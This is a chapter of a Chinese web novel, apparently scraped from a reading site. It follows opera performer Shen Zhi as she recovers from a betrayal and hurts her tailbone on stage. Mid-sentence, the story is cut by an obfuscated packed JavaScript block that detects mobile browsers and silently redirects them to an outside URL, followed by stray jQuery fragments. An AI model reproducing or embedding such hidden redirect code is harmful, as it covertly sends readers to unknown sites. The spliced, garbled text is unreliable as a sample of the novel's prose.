23. 出事了
作品:《逢场作戏后祖师爷当真了》 原本还在笑嘻嘻打哈哈的沈枝,在听到这句话的时候表情骤然僵住,虽然她已经在努力地想要管理好自己的表情,可那警惕的眼神,皱起的眉头,还有紧绷的下颌线,抿成一条线的嘴唇说明了一切。
谢团笑了,“这么紧张,跟家里的关系还没缓和啊。”
沈枝默了默,努力扬起轻快的声音,道:“就那样。”
随即抬头看着谢团,“我爷爷他说了什么。”
上次白玉兰奖上遇到沈青,她当场就给沈丛艺打了电话告状,从电话里就能听到长辈们对自己私自参加白玉兰的愤怒。
可是这是团里的决定,虽然得奖的是她,可是她代表的是戏剧团。
对,就是因为她代表的戏剧团而不是爸爸的演出公司,代表的不是沈家,这才惹怒了他们。
“老人家还是很关心你的。”谢团盯着她的眼睛看了一会儿,“问问你的情况,听说你拿了奖很开心,能看出来老人家很激动啊。沈老虽然没有直接教过我,可是我知道他是一位好老师,在业内的口碑和声望也是有目共睹的。”
沈枝松了一口气,点了点头松弛地靠在椅背上没再说什么。
谢团咬了咬牙,还是把一些事咽进了肚子里,他本来是想旁敲侧击打听一下沈枝和靳连竹的关系,这是那天老人家过来拜托他的事,可他这个学生有多敏感,谢团心里可太清楚了,但凡露一个字她一定能猜到全部。
沈老担心自己的孙女被人骗,这也是人之常情,但是谢团觉得沈枝是个聪明且有分寸的孩子,不会做出让人不放心的事,没必要提醒,索性不提也罢。
先让她好好恢复状态吧,眼下这才是最重要的。
沈枝接到了预演的时间也接到了新的演出任务,重新回归到忙碌的状态。
好在演出任务所在的地方都不太远,谢团给安排的远一些的也就是通州、昌平的戏剧院,演出时间比较早不用在外过夜,倒是方便许多。
每天东奔西跑的,除了彩排之外几乎看不到靳连竹了,沈枝的状态也在慢慢恢复,整个人也重新活泛起来,又是那个有说有笑没心没肺的模样了,谢团看着心里很安慰。
这样的日子两个人偶有见面,也都是偶遇。
或是在家门口遇上,或是同乘一部电梯,彼此见到了点头打个招呼,沈枝匆匆一瞥目光从他脸上滑过就低着头看手机,没有说话也没有尴尬,只是觉得他整个人消瘦了不少,但是气色看上去还是不错的。
或许一切都过去了,沈枝想,自己没有了生气愤怒和被骗的感觉,也不再觉得委屈,现在满心满脑都是演出、排练和练功,平静得像一面无波无澜的湖面。
纯粹地做一件事无罣碍是一种幸福且奢侈的感觉,应当珍惜。
两个多礼拜,两个人在排练以外唯一说过一次话是在电梯间,靳连竹告诉沈枝,“宋雪峰出差回来了,他想请大家吃饭开个碰头会,商量以后工作推进的事情。”
他声音听上去很平静,淡淡的,“我说你最近演出比较多,很忙,让他自己联系你了。”
沈枝抬着头看着电梯间显示屏上一点一点逼近的数字,“吃饭就算了,开会我会去的,谢谢你,我会跟他说的。”
叮咚一声电梯到站,开门,沈枝走进电梯猛然想起什么,回头看他,“你也参与了这个项目?”
靳连竹点头,“技术顾问,是沈老的要求,不好推辞。”
他仍旧在电梯间站着,没有要走进来的意思。
沈枝点了点头,没再说什么,片刻后又问他,“你,不上来?”
“不了。”他说,“我就是来跟你说这个的。”
沈枝点头,算是打了招呼,就在电梯门即将关上的一刹那,靳连竹说了一句,“你瘦了,好好吃饭。”
伴随着温柔的声线,电梯门关上,那道纤瘦的身影消失在眼前,靳连竹呆呆地站在电梯间里。
这是这些日子以来,她同他说话最多的一次,看她的表情很温和,似乎已经不再生气了,是了,她早就不再生气了,她已经把他打入死牢了。
无奈,自责,愧疚,说不出是什么情绪每天折磨他,让他吃不下饭睡不着觉,原来爱听的戏曲不听了,每天支着耳朵听她那边的动静,什么时候回来了,什么时候又走了。
靳连竹慢慢挪动步伐往家里走去,他曾想过身份暴露之后沈枝会很生气会不理他,他觉得自己做好了准备,可是现在他觉得自己一天比一天生不如死,那种如坐针毡的感觉逼得他发疯。
当初是因为想要利用沈枝报仇才一点一点从网上接近她,试探她,发现她真的很好骗,聊了一段时间沈枝把他当成偶像,什么样的专业问题都问他,让他给意见,而她,也真的是个戏痴。
靳连竹也十分欣赏她的努力和天赋,起初只是想敷衍她的,谁知......
这世上许多事是无法控制的,他想。
对于靳连竹也参与了宋氏集团的项目这件事,沈枝稍稍有些意外,记得曾经听宋雪峰说起过,他祖父一直想邀请靳连竹加入宋氏企业,不管是什么样的合作项目还是以任何方式,他都没答应过,现在居然答应了。
算了,那是人家的想法,沈枝摇了摇脑袋抬头看电梯上的数字,不该她操心的事不要管。
这样又忙了大半个礼拜,沈枝觉得自己的状态已经恢复得差不多了,跟谢团商量了一下,再演完艺术中心那场后就把工作重心调整回来,放在了汇报演出的排练上。
最近一场重要的演出是在通州的京市艺术中心,是“四大文化地标”之一,场馆专业而且这里的演出都是国家甚至世界级的,对于这场演出沈枝十分重视。
先前不但认真排练过许多次,还提前几天检查了道具和所有物品,力求完美。
演出那天她更是养足精神,连化妆老师都夸她气色好状态好呢,沈枝看着镜子里的自己也觉得那个神采奕奕的自己又回来了。
沈枝到达艺术中心的时候就看到了门口自己的海报,还有已经来排队的戏迷。
对于一个演员而言,这一刻的含金量是无可比拟的。
沈枝今天要演出的剧目一共有三个,按照出场顺序分别是《失子惊疯》、《穆桂英挂帅》和一部现代京剧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444883|184758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
《红灯记》,都是十分经典的剧目。
这几场戏沈枝早已非常熟悉,只要状态好就没问题。
第一场《失子惊疯》是一出折子戏,也是尚派艺术的代表剧目,非常考验演员的内功。
故事讲述了明代成化年间,颍州知府梅俊的侍妾胡氏怀胎十四月未生。梅俊的正室金氏妒忌胡氏诬陷她怀的是妖胎,想要加害于她。丫鬟寿春得知后,帮助胡氏连夜出逃。途中,胡氏在寒窑内产下一子,她为孩子佩戴上家传的宝物“乾坤福寿镜”以保平安。之后,胡氏主仆二人继续逃亡,行至深山时,不幸遭遇山寇首领金眼豹。胡氏因惊慌失措,在逃亡过程中不慎将婴儿遗失。后来,婴儿被宁武关总镇林鹤拾到并收养。而胡氏则因痛失爱子而瞬间精神失常,陷入疯癫。一位母亲丢失孩子后因巨大打击而发疯的悲剧故事。
之所以选这出戏是因为这出戏的重点不在于复杂的情节,而在于演员如何通过程式化的表演来外化人物内心的极度痛苦与精神崩溃,它的艺术价值远高于故事本身。
对于戏中很有看点且难度较大的水袖功和跌扑功夫,沈枝都早已驾轻就熟。
然,谁也没想到却出了意外。
戏开场之后一切顺利,然沈枝有一个“屁股坐子”的动作,来表现母亲失去儿子的惊慌失措和痛苦狼狈。
所谓“屁股坐子”就是演员在空中跳起,双腿向前后劈开成“一”字形的叉,在身体下落的瞬间,重心下沉,臀部直接着地,同时上身保持戏曲身段的姿态。
整个动作要求干净利落,落地时声音要脆,不能拖泥带水,对沈枝而言不是什么难事。
可是谁也没想到的是,就在她将将要腾空劈叉的瞬间,不知是什么东西掉落,圆圆小小的被踩在脚下,打了个滑起势的动作没有到位人就腾空而起。
一切都来得猝不及防,沈枝的“屁股坐子”落地后引来一片掌声,可只有她自己知道,在直直落地的一刹那,自己臀部尾椎的疼痛就像一条蛇从后脊梁直窜到脑门子,疼得全身僵直头皮发麻。
戏还在继续,沈枝顾不上疼痛继续演下去,一切都如排练时一样顺畅自然,甚至都没有同事看出她有任何异常。
好在这出折子戏只有四十分钟,沈枝忍着疼痛演完下场后才发现自己的衣服已经从里到外汗湿了。
后台是匆匆忙乱的,沈枝没有告诉任何人自己伤到了尾椎骨,这也不是什么大毛病,她躲在化妆间里一个人活动活动手脚胳膊腿,还好,其他地方没有问题。
究竟是什么东西硌脚已经无从发现了,台上灯光如昼她也看不清楚,总之就是道具失误也算常有的事,眼看着下面还有两场戏,加起来有三四个小时的演出,沈枝忍住了泪水,托一位保洁阿姨悄悄帮她买了止痛药吃下。
整场演出圆满,沈枝又一次得了满堂彩,光谢幕就谢了三次,她丝毫不敢懈怠甚至怕被人瞧出来异样,忍着尖锐的疼完完整整走完了整场演出。
直到最后一次退出舞台,整个人因疼痛实在难以支撑,从阶梯上摔了下去,好在眼尖的同事看到一把把人扶住,沈枝晕了过去。